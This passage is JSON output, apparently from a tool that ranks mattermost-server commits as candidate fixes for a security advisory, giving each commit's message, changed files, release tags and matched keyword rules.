"server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27504", - "relevance": 2 - } - ] - }, - { - "commit_id": "485dc64c5f2ac406ec7d05a066a1629693869fe5", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720534834, - "hunks": 5, - "message": "add hover state to accordions and tweaks styles (#27577)", - "changed_files": [ - "webapp/channels/src/components/admin_console/workspace-optimization/dashboard.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27577": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: console", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27577", - "relevance": 2 - } - ] - }, - { - "commit_id": "0e6bfbdd261ef983c69f30ef6d1000c12a1e3726", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720466721, - "hunks": 10, - "message": "[MM-57963] Log Name and DisplayName of groups (#26836)", - "changed_files": [ - "server/public/model/builtin.go", - "server/public/model/builtin_test.go", - "server/public/model/group.go", - "server/public/model/group_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "26836": "[MM-58004] Update logged fields of users #26860" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 26836", - "relevance": 2 - } - ] - }, - { - "commit_id": "db45c0132ee71367d41d11a806c65a7ac1d3c5a4", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720411885, - "hunks": 6, - "message": "MM-57824: Export/import custom status (#27361) https://mattermost.atlassian.net/browse/MM-57824 ```release-note NONE ``` Co-authored-by: Mattermost Build ", - "changed_files": [ - "server/channels/app/export.go", - "server/channels/app/export_test.go", - "server/channels/app/import_functions.go", - "server/channels/app/imports/import_types.go", - "server/i18n/en.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27361": "Added support for custom status in bulk export/import mattermost/docs#7327" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27361", - "relevance": 2 - } - ] - }, - { - "commit_id": "b596430920a3d95ce270b14497de6e6ef918ab46", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720180427, - "hunks": 2, - "message": "Orders results of the GetAll remote clusters store method (#27548)", - "changed_files": [ - "server/channels/api4/remote_cluster_test.go", - "server/channels/store/sqlstore/remote_cluster_store.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27548": "Skips flaky test on the remote cluster API #27547" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27548", - "relevance": 2 - } - ] - }, - { - "commit_id": "e5a3dd7fea9684f3f3702f288156b68cea8477a1", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720164841, - "hunks": 83, - "message": "Add platform information for push notification metrics (#27460) * Add platform information for push notification metrics * Address feedback * Add the client platform returned by the devices to the normalize function * Add \"no platform\" platform label to distinguish from unknown", - "changed_files": [ - "server/channels/api4/system.go", - "server/channels/app/app_iface.go", - "server/channels/app/expirynotify.go", - "server/channels/app/notification.go", - "server/channels/app/notification_push.go", - "server/channels/app/opentracing/opentracing_layer.go", - "server/channels/app/post.go", - "server/channels/app/post_acknowledgements.go", - "server/channels/app/reaction.go", - "server/channels/app/web_broadcast_hooks.go", - "server/channels/wsapi/system.go", - "server/einterfaces/metrics.go", - "server/einterfaces/mocks/MetricsInterface.go", - "server/enterprise/metrics/metrics.go", - "server/public/model/notification.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27460": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27460", - "relevance": 2 - } - ] - }, - { - "commit_id": "6bbf7bbb9fb0007a731f44025f5cb4caab1251b1", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720122998, - "hunks": 21, - "message": "Update Packet metadata generation based on feedback (#27490)", - "changed_files": [ - "server/channels/app/plugin_api.go", - "server/public/model/metadata.go", - "server/public/model/metadata_test.go", - "server/public/model/packet_metadata.go", - "server/public/model/packet_metadata_test.go", - "server/public/plugin/api.go", - "server/public/plugin/api_timer_layer_generated.go", - "server/public/plugin/client_rpc_generated.go", - "server/public/plugin/plugintest/api.go", - "server/public/pluginapi/system.go", - "server/public/pluginapi/system_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27490": "Update Packet metadata generation based on feedback mattermost/mattermost-plugin-user-survey#49 Metadata in report mattermost/mattermost-plugin-user-survey#48 v9.11 Changelog mattermost/docs#7284" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: time, test, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27490", - "relevance": 2 - } - ] - }, - { - "commit_id": "0e6ed3d4902a6183851be64be1b8496d63dc903c", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720022054, - "hunks": 3, - "message": "[MM-58686] Adjust text alignment on custom status tooltip (#27353) * Change: Adjust text alignment on custom status tooltip Change: Update 'Today' expiry time calculation on custom_status_modal * Change: Use display inline-block instead of flex for custom-status class --------- Co-authored-by: Mattermost Build ", - "changed_files": [ - "webapp/channels/src/components/custom_status/custom_status.scss", - "webapp/channels/src/components/custom_status/custom_status_emoji.tsx", - "webapp/channels/src/components/custom_status/custom_status_modal.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27353": "[MM-27420] Enlarge emojis to tooltips for custom statuses #27420 #27478" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: time", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27353", - "relevance": 2 - } - ] - }, - { - "commit_id": "213ebc57fb09ac0159ea18af0f32d1b1cc1ac9b2", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719921517, - "hunks": 10, - "message": "Print panic message when mmctl panics (#27390)", - "changed_files": [ - "server/cmd/mmctl/commands/root.go", - "server/cmd/mmctl/commands/root_test.go", - "server/cmd/mmctl/printer/printer.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27390": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27390", - "relevance": 2 - } - ] - }, - { - "commit_id": "a3c1272cb6f8d96b42f15d22d87fd66bf5393b5c", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719920970, - "hunks": 1, - "message": "chore(api redoc): remove api/redoc-static.html (#27500) The orphaned file unexpectedly introduced in the old PR in 2020 can now be removed as it originally is orphaned and not referenced at all. - mattermost/mattermost-api-reference PR 503 Signed-off-by: Takuya Noguchi ", - "changed_files": [ - "api/redoc-static.html" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27500": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27500", - "relevance": 2 - } - ] - }, - { - "commit_id": "d0c4e820a4dbad71273290f80e2ec622586c85ed", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719857138, - "hunks": 11, - "message": "[MM-58840] Add routing restrictions (#27482)", - "changed_files": [ - "e2e-tests/cypress/tests/integration/channels/enterprise/system_console/group_configuration_spec.js", - "e2e-tests/cypress/tests/integration/channels/enterprise/system_console/team_members_spec.js", - "e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js", - "webapp/channels/src/components/admin_console/admin_definition.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27482": "Automated cherry pick of #27482 #27517 Automated cherry pick of #27482 #27518 Automated cherry pick of #27482 #27519 Automated cherry pick of #27482 #27520" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: configuration, console, test, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27482", - "relevance": 2 - } - ] - }, - { - "commit_id": "f12eb75d256084527bf135640501142fd41ca876", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719608294, - "hunks": 229, - "message": "MM-54416: Channel Bookmarks Web UI (#25889) Co-authored-by: Mattermost Build Co-authored-by: Elias Nahum Co-authored-by: Miguel de la Cruz Co-authored-by: Scott Bishel ", - "changed_files": [ - "e2e-tests/cypress/tests/integration/channels/channel/channel_bookmarks_spec.ts", - "webapp/channels/src/actions/channel_actions.ts", - "webapp/channels/src/actions/channel_bookmarks.ts", - "webapp/channels/src/actions/file_actions.ts", - "webapp/channels/src/actions/websocket_actions.jsx", - "webapp/channels/src/components/admin_console/license_settings/__snapshots__/license_settings.test.tsx.snap", - "webapp/channels/src/components/admin_console/openid_convert/__snapshots__/openid_convert.test.tsx.snap", - "webapp/channels/src/components/channel_bookmarks/bookmark_create_modal.scss", - "webapp/channels/src/components/channel_bookmarks/bookmark_delete_modal.tsx", - "webapp/channels/src/components/channel_bookmarks/bookmark_dot_menu.tsx", - "webapp/channels/src/components/channel_bookmarks/bookmark_icon.tsx", - "webapp/channels/src/components/channel_bookmarks/bookmark_item.tsx", - "webapp/channels/src/components/channel_bookmarks/channel_bookmarks.scss", - "webapp/channels/src/components/channel_bookmarks/channel_bookmarks.tsx", - "webapp/channels/src/components/channel_bookmarks/channel_bookmarks_create_modal.tsx", - "webapp/channels/src/components/channel_bookmarks/channel_bookmarks_plus_menu.tsx", - "webapp/channels/src/components/channel_bookmarks/create_modal_name_input.tsx", - "webapp/channels/src/components/channel_bookmarks/index.ts", - "webapp/channels/src/components/channel_bookmarks/utils.ts", - "webapp/channels/src/components/channel_view/__snapshots__/channel_view.test.tsx.snap", - "webapp/channels/src/components/channel_view/channel_view.tsx", - "webapp/channels/src/components/emoji_picker/components/emoji_picker_custom_emoji_button.tsx", - "webapp/channels/src/components/emoji_picker/emoji_picker.tsx", - "webapp/channels/src/components/emoji_picker/emoji_picker_overlay/emoji_picker_overlay.tsx", - "webapp/channels/src/components/emoji_picker/emoji_picker_tabs.tsx", - "webapp/channels/src/components/error_page/__snapshots__/error_link.test.tsx.snap", - "webapp/channels/src/components/external_link/__snapshots__/external_link.test.tsx.snap", - "webapp/channels/src/components/external_link/index.tsx", - "webapp/channels/src/components/file_attachment/__snapshots__/filename_overlay.test.tsx.snap", - "webapp/channels/src/components/file_attachment/file_attachment.tsx", - "webapp/channels/src/components/file_attachment/file_thumbnail/file_thumbnail.tsx", - "webapp/channels/src/components/file_search_results/__snapshots__/file_search_result_item.test.tsx.snap", - "webapp/channels/src/components/file_search_results/file_search_result_item.tsx", - "webapp/channels/src/components/integrations/__snapshots__/abstract_command.test.tsx.snap", - "webapp/channels/src/components/integrations/__snapshots__/abstract_outgoing_webhook.test.tsx.snap", - "webapp/channels/src/components/integrations/installed_oauth_apps/__snapshots__/installed_oauth_apps.test.tsx.snap", - "webapp/channels/src/components/integrations/installed_outgoing_webhooks/__snapshots__/installed_outgoing_webhooks.test.tsx.snap", - "webapp/channels/src/components/integrations/outgoing_oauth_connections/__snapshots__/installed_outgoing_oauth_connections.test.tsx.snap", - "webapp/channels/src/components/menu/menu.tsx", - "webapp/channels/src/components/plugin_marketplace/marketplace_item/marketplace_item_plugin/__snapshots__/marketplace_item_plugin.test.tsx.snap", - "webapp/channels/src/components/post_view/message_attachments/message_attachment/__snapshots__/message_attachment.test.tsx.snap", - "webapp/channels/src/components/product_notices_modal/__snapshots__/product_notices.test.tsx.snap", - "webapp/channels/src/components/signup/__snapshots__/signup.test.tsx.snap", - "webapp/channels/src/components/widgets/inputs/input/input.tsx", - "webapp/channels/src/components/widgets/menu/menu_items/menu_item_external_link.test.tsx", - "webapp/channels/src/components/youtube_video/__snapshots__/youtube_video.test.tsx.snap", - "webapp/channels/src/i18n/en.json", - "webapp/channels/src/packages/mattermost-redux/src/action_types/channel_bookmarks.ts", - "webapp/channels/src/packages/mattermost-redux/src/action_types/index.ts", - "webapp/channels/src/packages/mattermost-redux/src/actions/channel_bookmarks.ts", - "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/channel_bookmarks.ts", - "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/files.ts", - "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/index.ts", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_bookmarks.ts", - "webapp/channels/src/packages/mattermost-redux/src/store/initial_state.ts", - "webapp/channels/src/utils/constants.tsx", - "webapp/channels/src/utils/emoji_utils.tsx", - "webapp/channels/src/utils/file_utils.tsx", - "webapp/channels/src/utils/markdown/renderer.tsx", - "webapp/channels/src/utils/url.tsx", - "webapp/platform/client/src/client4.ts", - "webapp/platform/types/src/channel_bookmarks.ts", - "webapp/platform/types/src/client4.ts", - "webapp/platform/types/src/store.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "25889": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: connection, console, test, file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 25889", - "relevance": 2 - } - ] - }, - { - "commit_id": "a5d263f26ccd1803abbd485bcda70b8bb22ab428", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719593863, - "hunks": 2, - "message": "MM-58496 - Updating channel font size (#27445) * MM-58496 - Updating channel font size * Updating lineheight", - "changed_files": [ - "webapp/channels/src/sass/components/_post.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27445": "[MM-58496] Change post messages font size #27399" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: size", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27445", - "relevance": 2 - } - ] - }, - { - "commit_id": "60c5bb46dfa8192efa5a13c746423f0e7696b8bc", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719583070, - "hunks": 10, - "message": "MM-58854 Update how Compass icons are referenced by AnnouncementBar (#27461) (#27488) Automatic Merge", - "changed_files": [ - "webapp/channels/src/components/advanced_text_editor/advanced_text_editor.scss", - "webapp/channels/src/components/announcement_bar/__snapshots__/text_dismissable_bar.test.tsx.snap", - "webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.tsx", - "webapp/channels/src/components/announcement_bar/text_dismissable_bar.tsx", - "webapp/channels/src/components/status_dropdown/status_dropdown.scss", - "webapp/channels/src/sass/components/_announcement-bar.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27461": "Automated cherry pick of #27461 #27488", - "27488": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.10.0", - "@mattermost/types@9.10.0", - "v9.10.0", - "v9.10.0-rc3", - "v9.10.1", - "v9.10.1-rc1", - "v9.10.1-rc2", - "v9.10.1-rc3", - "v9.10.2", - "v9.10.2-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27461, 27488", - "relevance": 2 - } - ] - }, - { - "commit_id": "4f2aacf9d791cfc64443a647d98098cc06623bbe", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721163727, - "hunks": 19, - "message": "make GM merge work", - "changed_files": [ - "server/channels/app/app_iface.go", - "server/channels/app/opentracing/opentracing_layer.go", - "server/channels/app/user.go", - "server/channels/store/opentracinglayer/opentracinglayer.go", - "server/channels/store/retrylayer/retrylayer.go", - "server/channels/store/sqlstore/channel_store.go", - "server/channels/store/store.go", - "server/channels/store/storetest/mocks/ChannelStore.go", - "server/channels/store/timerlayer/timerlayer.go", - "server/public/model/channel.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: time, test", - "relevance": 4 - } - ] - }, - { - "commit_id": "e3bde41ed77739e13a64a024394a6b1793f890fe", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720833920, - "hunks": 57, - "message": "Remove usage of defaultProps from functional components", - "changed_files": [ - "webapp/channels/src/components/common/back_button.tsx", - "webapp/channels/src/components/custom_status/custom_status_text.tsx", - "webapp/channels/src/components/custom_status/expiry_time.tsx", - "webapp/channels/src/components/emoji/render_emoji.tsx", - "webapp/channels/src/components/error_page/error_link.tsx", - "webapp/channels/src/components/file_preview_modal/file_preview_modal_main_actions/file_preview_modal_main_actions.tsx", - "webapp/channels/src/components/overlay_trigger.tsx", - "webapp/channels/src/components/purchase_modal/icon_message.tsx", - "webapp/channels/src/components/search/search.tsx", - "webapp/channels/src/components/search_bar/search_bar.tsx", - "webapp/channels/src/components/search_results/search_results.tsx", - "webapp/channels/src/components/sidebar/sidebar_category/sidebar_category.tsx", - "webapp/channels/src/components/sidebar/sidebar_category_header.tsx", - "webapp/channels/src/components/sidebar/unread_channel_indicator/unread_channel_indicator.tsx", - "webapp/channels/src/components/widgets/admin_console/admin_panel_togglable.tsx", - "webapp/channels/src/components/widgets/admin_console/admin_panel_with_button.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: time, console, file", - "relevance": 4 - } - ] - }, - { - "commit_id": "f7b12d39c0e0778d72576026136de7f351fc9a1a", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720821657, - "hunks": 21, - "message": "Force React version to 18", - "changed_files": [ - "webapp/channels/package.json", - "webapp/package-lock.json", - "webapp/package.json", - "webapp/platform/components/package.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version", - "relevance": 4 - } - ] - }, - { - "commit_id": "b02b97eeb03b6d87e06ac8c6417e6c740d0ef17f", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720788030, - "hunks": 6, - "message": "Update npm packages versions for release-9.11", - "changed_files": [ - "webapp/channels/package.json", - "webapp/package-lock.json", - "webapp/platform/client/package.json", - "webapp/platform/types/package.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version", - "relevance": 4 - } - ] - }, - { - "commit_id": "2afc122ff72c0524b58367243a74aa53a74a72c2", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720175227, - "hunks": 8, - "message": "Ignore performance counts if notifications are blocked by the device", - "changed_files": [ - "server/channels/api4/system.go", - "server/channels/api4/user.go", - "server/channels/app/app_iface.go", - "server/channels/app/notification_push.go", - "server/channels/app/opentracing/opentracing_layer.go", - "server/channels/app/session.go", - "server/public/model/session.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: system", - "relevance": 4 - } - ] - }, - { - "commit_id": "573810805593673c5636f47dadc0878ede14adda", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720035985, - "hunks": 2, - "message": "lint", - "changed_files": [ - "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/posts.test.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - } - ] - }, - { - "commit_id": "af35818df97005efd3dd6e38266696d6f7e2e800", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719596373, - "hunks": 14, - "message": "fix searchlayer stuff", - "changed_files": [ - "server/channels/app/file.go", - "server/channels/store/searchlayer/file_info_layer.go", - "server/channels/store/searchlayer/post_layer.go", - "server/channels/store/searchtest/file_info_layer.go", - "server/channels/store/searchtest/post_layer.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file, test", - "relevance": 4 - } - ] - }, - { - "commit_id": "c0a7a19294f10133a23fa0301971b2a8037bb4b7", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721231521, - "hunks": 5, - "message": "MM-58527 - Fixing overflow issue for autocomplete (#27479) * MM-58527 - Fixing overflow issue for autocomplete * MM-58527 - Fixing overflow issue on autocomplete", - "changed_files": [ - "webapp/channels/src/components/widgets/header/header.scss", - "webapp/channels/src/sass/base/_structure.scss", - "webapp/channels/src/sass/components/_post.scss", - "webapp/channels/src/sass/layout/_content.scss", - "webapp/channels/src/sass/layout/_headers.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27479": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27479", - "relevance": 2 - } - ] - }, - { - "commit_id": "0227ac0fc19173b520aa74febcf53715c29d4393", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721062397, - "hunks": 4, - "message": "MM-59404 Stop automatically dismissing desktop notifications (#27627)", - "changed_files": [ - "webapp/channels/src/utils/constants.tsx", - "webapp/channels/src/utils/notifications.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27627": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27627", - "relevance": 2 - } - ] - }, - { - "commit_id": "a4bdb65037a9135b5ec6a95d8718a5f21cf4eb9c", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720859493, - "hunks": 2, - "message": "[MM-55215] Remove deprecated LdapSettings.Trace (#27376)", - "changed_files": [ - "server/public/model/config.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27376": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27376", - "relevance": 2 - } - ] - }, - { - "commit_id": "9bb22a369a57ce8633f1ab4689f2dafc59a09fcb", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720814362, - "hunks": 7, - "message": "MM-54856: Place emoji at cursor position while editing message (#27418) * MM-54856: fix issue with emoji position in edit post editor * use useRef instead of useState --------- Co-authored-by: Mattermost Build ", - "changed_files": [ - "webapp/channels/src/components/edit_post/edit_post.tsx", - "webapp/channels/src/components/suggestion/suggestion_box/suggestion_box.jsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27418": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - 